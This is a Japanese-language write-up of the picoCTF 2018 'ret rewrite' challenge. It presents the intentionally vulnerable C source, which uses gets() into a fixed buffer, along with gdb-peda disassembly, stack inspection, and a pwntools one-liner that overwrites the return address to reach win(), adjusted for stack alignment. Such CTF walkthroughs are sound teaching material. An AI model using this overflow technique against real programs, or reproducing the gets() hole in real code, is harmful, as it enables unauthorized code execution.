picoCTF 2018 ret rewrite Writeup


vuln関数とwin関数を用意し,main関数からはvuln関数のみcallする。
vuln関数にはbofの脆弱性がある。
main関数からvuln関数をcallした時にスタックに積まれたリターンアドレスをbofで書き換え,win関数に飛ばすという定番の問題です。

スタックのアライメントについても学習できます。

渡されたコード(asm.hの環境を構築するのが面倒だったのでコメント化してます。)

vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
//#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  //printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
  printf("Okay, time to return... Fingers Crossed...\n");
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

gdbスタート

$ gdb -q ./overflow3
Reading symbols from ./overflow3...done.
gdb-peda$ b main
Breakpoint 1 at 0x400c09: file overflow3.c, line 35.
gdb-peda$ r
Starting program: /mnt/c/overflow3
Breakpoint 1, main (argc=0x1, argv=0x7ffffffee398) at overflow3.c:35

main関数の中身は

gdb-peda$ pdisass main
Dump of assembler code for function main:
   0x0000000000400bfa <+0>:     push   rbp
   0x0000000000400bfb <+1>:     mov    rbp,rsp
   0x0000000000400bfe <+4>:     sub    rsp,0x20
   0x0000000000400c02 <+8>:     mov    DWORD PTR [rbp-0x14],edi
   0x0000000000400c05 <+11>:    mov    QWORD PTR [rbp-0x20],rsi
=> 0x0000000000400c09 <+15>:    mov    rax,QWORD PTR [rip+0x2b9b90]        # 0x6ba7a0 <stdout>
   0x0000000000400c10 <+22>:    mov    ecx,0x0
   0x0000000000400c15 <+27>:    mov    edx,0x2
   0x0000000000400c1a <+32>:    mov    esi,0x0
   0x0000000000400c1f <+37>:    mov    rdi,rax
   0x0000000000400c22 <+40>:    call   0x410c00 <setvbuf>
   0x0000000000400c27 <+45>:    call   0x449550 <getegid>
   0x0000000000400c2c <+50>:    mov    DWORD PTR [rbp-0x4],eax
   0x0000000000400c2f <+53>:    mov    edx,DWORD PTR [rbp-0x4]
   0x0000000000400c32 <+56>:    mov    ecx,DWORD PTR [rbp-0x4]
   0x0000000000400c35 <+59>:    mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000400c38 <+62>:    mov    esi,ecx
   0x0000000000400c3a <+64>:    mov    edi,eax
   0x0000000000400c3c <+66>:    mov    eax,0x0
   0x0000000000400c41 <+71>:    call   0x449560 <setresgid>
   0x0000000000400c46 <+76>:    lea    rdi,[rip+0x91c0e]        # 0x49285b
   0x0000000000400c4d <+83>:    call   0x410a00 <puts>
   0x0000000000400c52 <+88>:    mov    eax,0x0
   0x0000000000400c57 <+93>:    call   0x400bd2 <vuln>
   0x0000000000400c5c <+98>:    mov    eax,0x0
   0x0000000000400c61 <+103>:   leave
   0x0000000000400c62 <+104>:   ret
End of assembler dump.

call vuln の戻りアドレス 0x400c5c を win() 関数のアドレスに書き換えればokみたいです

vuln関数の中身は

gdb-peda$ pdisass vuln
Dump of assembler code for function vuln:
   0x0000000000400bd2 <+0>:     push   rbp
   0x0000000000400bd3 <+1>:     mov    rbp,rsp
   0x0000000000400bd6 <+4>:     sub    rsp,0x20
   0x0000000000400bda <+8>:     lea    rax,[rbp-0x20]
   0x0000000000400bde <+12>:    mov    rdi,rax
   0x0000000000400be1 <+15>:    mov    eax,0x0
   0x0000000000400be6 <+20>:    call   0x410850 <gets>
   0x0000000000400beb <+25>:    lea    rdi,[rip+0x91c3e]        # 0x492830
   0x0000000000400bf2 <+32>:    call   0x410a00 <puts>
   0x0000000000400bf7 <+37>:    nop
   0x0000000000400bf8 <+38>:    leave
   0x0000000000400bf9 <+39>:    ret
End of assembler dump.

call gets の次

   0x0000000000400beb <+25>:    lea    rdi,[rip+0x91c3e]        # 0x492830

にブレークポイントを設定します

gdb-peda$ b *0x0000000000400beb
Breakpoint 2 at 0x400beb: file overflow3.c, line 30.
gdb-peda$ c
Continuing.
Please enter your string:

ここで AAA を入力します

AAA も書き換える戻りアドレス 0x400c5c も見えています

詳細なスタックの状況を見ます

gdb-peda$ x/10xg 0x7ffffffee220


今は A*3 しか入力していませんが,黄色の蛍光ペンで示したように A*8*5 埋めると,その先がターゲットの戻りアドレスです。

win関数のアドレスを確認します

gdb-peda$ p &win
$1 = (void (*)()) 0x400b6d <win>

攻撃コード書いてみます。

$ python -c "from pwn import *; print 'A'*(40)+p32(0x400b6d)" | ./overflow3
Please enter your string:
Okay, time to return... Fingers Crossed...
Segmentation fault (core dumped)

Segmentation fault になりました。もしや,アライメント?
win関数を見てみます

gdb-peda$ pdisass win
Dump of assembler code for function win:
   0x0000000000400b6d <+0>:     push   rbp
   0x0000000000400b6e <+1>:     mov    rbp,rsp
   0x0000000000400b71 <+4>:     sub    rsp,0x50
   0x0000000000400b75 <+8>:     lea    rsi,[rip+0x91c2c]        # 0x4927a8
   0x0000000000400b7c <+15>:    lea    rdi,[rip+0x91c27]        # 0x4927aa
   0x0000000000400b83 <+22>:    call   0x410450 <fopen64>
   0x0000000000400b88 <+27>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400b8c <+31>:    cmp    QWORD PTR [rbp-0x8],0x0
   0x0000000000400b91 <+36>:    jne    0x400ba9 <win+60>
   0x0000000000400b93 <+38>:    lea    rdi,[rip+0x91c1e]        # 0x4927b8
   0x0000000000400b9a <+45>:    call   0x410a00 <puts>
   0x0000000000400b9f <+50>:    mov    edi,0x0
   0x0000000000400ba4 <+55>:    call   0x40eb20 <exit>
   0x0000000000400ba9 <+60>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x0000000000400bad <+64>:    lea    rax,[rbp-0x50]
   0x0000000000400bb1 <+68>:    mov    esi,0x40
   0x0000000000400bb6 <+73>:    mov    rdi,rax
   0x0000000000400bb9 <+76>:    call   0x410140 <fgets>
   0x0000000000400bbe <+81>:    lea    rax,[rbp-0x50]
   0x0000000000400bc2 <+85>:    mov    rdi,rax
   0x0000000000400bc5 <+88>:    mov    eax,0x0
   0x0000000000400bca <+93>:    call   0x40f740 <printf>
   0x0000000000400bcf <+98>:    nop
   0x0000000000400bd0 <+99>:    leave
   0x0000000000400bd1 <+100>:   ret
End of assembler dump.

push rbp の次

   0x0000000000400b6e <+1>:     mov    rbp,rsp

に飛ばしてみます。

$ python -c "from pwn import *; print 'A'*(40)+p32(0x400b6e)" | ./overflow3
Please enter your string:
Okay, time to return... Fingers Crossed...
CTF{gdb_is_useful}Segmentation fault (core dumped)

ビンゴ